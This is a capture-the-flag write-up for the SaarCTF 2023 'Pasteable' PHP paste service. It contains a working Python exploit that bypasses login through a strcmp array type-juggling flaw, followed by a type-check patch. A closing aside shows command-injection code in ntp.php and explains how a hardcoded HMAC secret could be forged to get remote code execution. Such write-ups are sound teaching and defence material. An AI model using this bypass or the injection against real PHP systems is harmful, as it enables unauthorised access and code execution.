SaarCTF2023 - Pasteable
Service description
Pasteable is a website, written in PHP, which allows a user to register, login and then create some “pastes” inside a Mysql database. This pastes get encrypted by the backend with a key provided by the user. The last feature of this website allows users to view the stored pastes and decrypt them with the appropriate keys.
What’s our goal?
The attack.json
file provided by the SaarCTF organizers contained a list of usernames for this challenge, so we are probably supposed to login as that user and read the flag from the pastes list.
Once this was clear we started to check how the login was handled: a user is logged in when authenticated
is set to yes
inside the $_SESSION
array.
So our goal is to set $_SESSION["authenticated"]
to yes
.
1// forward the good bois
2if(isset($_SESSION["authenticated"]) && $_SESSION["authenticated"] === "yes") {
3 header('Location: /admin/home');
4 exit();
5}
How can we log in?
Analysing the source code we can see that there are 2 places where the backend does what we want: in /func/register.php
and in /func/login.php
.
We can see that the first file can’t do anything for us, because it only allows to set “authenticated” to “yes” for a newly created user.
The second one, tho, allows us to login with any username, so let’s take a look on how this works.
1<?php
2
3session_start();
4require("config.php");
5
6// include challenge functions
7include('./lib/challenge.php');
8
9if(!isset($_POST['username']) || !isset($_POST['solution'])){
10 header('HTTP/1.0 403 Forbidden');
11 die("Invalid request");
12}
13
14if(!isset($_SESSION['challenge']) || !(strcmp($_POST['solution'], $_SESSION['challenge']) == 0)){
15 header('HTTP/1.0 403 Forbidden');
16 die("No valid challenge found");
17}
18
19destroyChallenge();
20$username = $_POST['username'];
21$stmt = $MYSQLI->prepare("SELECT user_id FROM user_accounts WHERE user_name = ? LIMIT 1");
22
23if (
24 $stmt &&
25 $stmt -> bind_param('s', $username) &&
26 $stmt -> execute() &&
27 $stmt -> store_result() &&
28 $stmt -> bind_result($userid) &&
29 $stmt -> fetch()
30) {
31 // user exists
32 $_SESSION['last_login'] = date("Y-m-d H:i:s", time());
33 $_SESSION['id'] = $userid;
34 $_SESSION['name'] = $username;
35 // set new state
36 $_SESSION['authenticated'] = "yes";
37} else {
38 // wrong data!
39 $_SESSION['last_login'] = date("Y-m-d H:i:s", time());
40 header('HTTP/1.0 403 Forbidden');
41}
We can see that authenticated
is set to yes
only if the SQL query made previously is successful.
What does that query do? It selects the user_id
of the user with the username that we send to the page when we make the request.
Our goal is for that query to be executed with our username, the problem is that are 2 if statements that prevent us from doing so:
- the first checks if we sent both
"username"
and"solution"
fields in our http request, and if not it gives us a403 invalid request
error. - then the second checks if
"challenge"
is set inside the$_SESSION
array and checks if the solution we sent is equal to what is inside$_SESSION
at the index"challenge"
, if one of those conditions is false it gives us a403 No valid challenge found
error.
But what are those "challenge"
and "solution"
?
We can see that the page includes the following file: /lib/challenge.php
. This file has 2 functions:
1<?php
2
3/**
4* Generates a new challenge
5*
6* @return string
7*/
8function generateChallenge() {
9 mt_srand(time());
10
11 $strength = 6;
12 $alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
13 $l = strlen($alpha);
14 $random_string = '';
15 for($i = 0; $i < $strength; $i++) {
16 $random_character = $alpha[mt_rand(0, $l - 1)];
17 $random_string .= $random_character;
18 }
19
20 $_SESSION['challenge'] = $random_string;
21 return $random_string;
22}
23
24/**
25* Destroys challenge
26*/
27function destroyChallenge() {
28 unset($_SESSION['challenge']);
29}
The first one creates a "challenge"
, which is set inside the $_SESSION
array as a string of 6 random
chars taken from the following alphabet “ABCDEFGHIJKLMNOPQRSTUVWXYZ”
, and the second one
destroys it.
We can see that the first function is getting called inside /func/challenge.php
file and the
second one inside /func/login.php
file.
So basically we have to send a POST request to /func/challenge.php
(with the username as a
parameter) in order to set inside the $_SESSION
array the "challenge"
. After that, we have to send another POST request to login.php
with two parameters: “username”
and “solution”
, where “solution”
must be equal to the challenge that was generated before.
The brute-force approach is not the best solution because having an alphabet of 26 chars, and a string of 6 chars, we would have to try 308.915.776
times to be sure to find the correct "challenge"
, this is obviously impractical, so we must find another approach.
strcmp() vuln and type juggling
In the login.php
page we analysed almost everything, the only thing remaining is the strcmp() function
, just by googling and opening the PHP documentation, we can read this:
If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable. For instance you may get an unexpected 0, or return values of NULL, -2, 2, 3 and -3.
So basically we can make this function return NULL thanks to PHP comparison problems with “==”
. NULL is equal to 0: this vuln is called type juggling.
But how can we make it return NULL?
Reading the documentation we find out that if a parameter is an array strcmp
returns NULL.
strcmp("foo", array()) => NULL + PHP Warning strcmp("foo", new stdClass) => NULL + PHP Warning strcmp(function(){}, "") => NULL + PHP Warning
In conclusion our attack is composed like this:
- POST request to
/func/challenge.php
with one parameter:"username"
, this sets the"challenge"
inside the$_SESSION
array. - POST request to
/func/login.php
with two parameters:"username"
and the"solution"
(array), setting"authenticated"
inside the$_SESSION
array. - GET request to
/admin/home/index.php
in order to print the paste with the flag.
Exploit:
Our exploit takes a command line argument: the IP of an enemy team, and takes from the attack.json
file the username that it will use to log in.
1#!/usr/bin/env python3
2
3import random
4import string
5import sys
6import requests
7import json
8from pwn import *
9from Crypto.Hash import SHA256
10import sys
11
12def get_flag_ids(team_id, service_name):
13 url = "https://scoreboard.ctf.saarland/attack.json"
14 try:
15 response = requests.get(url)
16 response.raise_for_status()
17 data = response.json()
18 if "flag_ids" in data and service_name in data["flag_ids"]:
19 if team_id in [team["id"] for team in data["teams"]]:
20 for team in data["teams"]:
21 if team["id"] == team_id:
22 team_ip = next(team["ip"])
23 return data["flag_ids"][service_name].get(team_ip, {})
24 else:
25 print("Invalid team_id or service_name")
26 except requests.exceptions.RequestException as e:
27 print(f"Error: {e}")
28
29def get_data(team_id, service_name, flag_id):
30 url = "https://scoreboard.ctf.saarland/attack.json"
31 try:
32 response = requests.get(url)
33 response.raise_for_status()
34 data = response.json()
35 for team in data["teams"]:
36 if team["id"] == team_id:
37 team_ip = next(team["ip"])
38 return data["flag_ids"][service_name][team_ip][flag_id]
39 except requests.exceptions.RequestException as e:
40 print(f"Error: {e}")
41
42host = sys.argv[1]
43team = (int(host.split(".")[1])-32)*200 + int(host.split(".")[2])
44print("I need to attack the team {} with host: {}".format(team,host))
45service = 'Pasteable'
46
47for id in get_flag_ids(team,service):
48 username = get_data(team, service, id)
49 s = requests.Session()
50
51 res = s.post(f"http://{host}:8080/func/challenge.php",
52 data={"username":username})
53 res = s.post(f"http://{host}:8080/func/login.php",
54 data={"username":username, "solution[]":b""})
55 res = s.get(f"http://{host}:8080/admin/")
56
57 print(res.text, flush=True)
Patch
To patch this vuln we have 2 options:
- Check the type of the
“solution”
parameter and allow only string values. - Check the
"solution"
parameter in another way, instead of using thestrcmp()
function.
We decided to patch the service using the first option, and used the gettype()
function to verify if "solution"
was indeed a string.
1if(
2 !isset($_POST['username']) ||
3 !isset($_POST['solution']) ||
4 gettype($_POST["solution"])!="string"
5){
6 header('HTTP/1.0 403 Forbidden');
7 die("Invalid request");
8}
P.S:
We also found a potential RCE in the /func/ntp.php
file, but we didn’t concentrate much on that because we had already a very efficient exploit running. Also the team was very short of players so we focused more on exploiting the other services.
Just for completeness, this is the potentially vulnerable code:
1// Network-Time-Protocol API
2
3// variables and configs
4require("../func/config.php");
5
6// ensure that requester knows super-duper-secret
7$additional_time_formatter = (isset($_GET['modifiers'])) ? $_GET['modifiers'] : "";
8$caller_nonce = (isset($_GET['nonce'])) ? $_GET['nonce'] : "";
9$caller_checksum = (isset($_GET['checksum'])) ? $_GET['checksum'] : "";
10
11if(isset($_GET['modifiers'])) {
12 $nonce_hash = hash_hmac('sha256', $caller_nonce, $APP_SECRET);
13 $checksum = hash_hmac('sha256', $additional_time_formatter, $nonce_hash);
14
15 // if the checksum is wrong, the requester is a bad guy who
16 // doesn't know the secret
17 if($checksum !== $caller_checksum) {
18 die("ERROR: Checksum comparison has failed!");
19 }
20}
21// print current time
22$time_command = ($APP_HOST === 'win') ? "date /t && time /t" : "date";
23$requested_time = `$time_command $additional_time_formatter`;
24echo preg_replace('~[\r\n]+~', '', $requested_time);
This ntp.php
file uses OS commands to get the timestamp. The vulnerability is that a user-controlled parameter is appended to the command, this is exploitable and enables RCE on the backend.
The only complication is the hmac checksum verification, but this can be bypassed because:
- The
$APP_SECRET
is hardcoded and reused. - We have control over the
"nonce"
and the"checksum"
parameters. So, if we forge"checksum"
and"nonce"
based on our"modifiers"
(which contains our code injection payload), we should achieve the RCE we’ve longed for.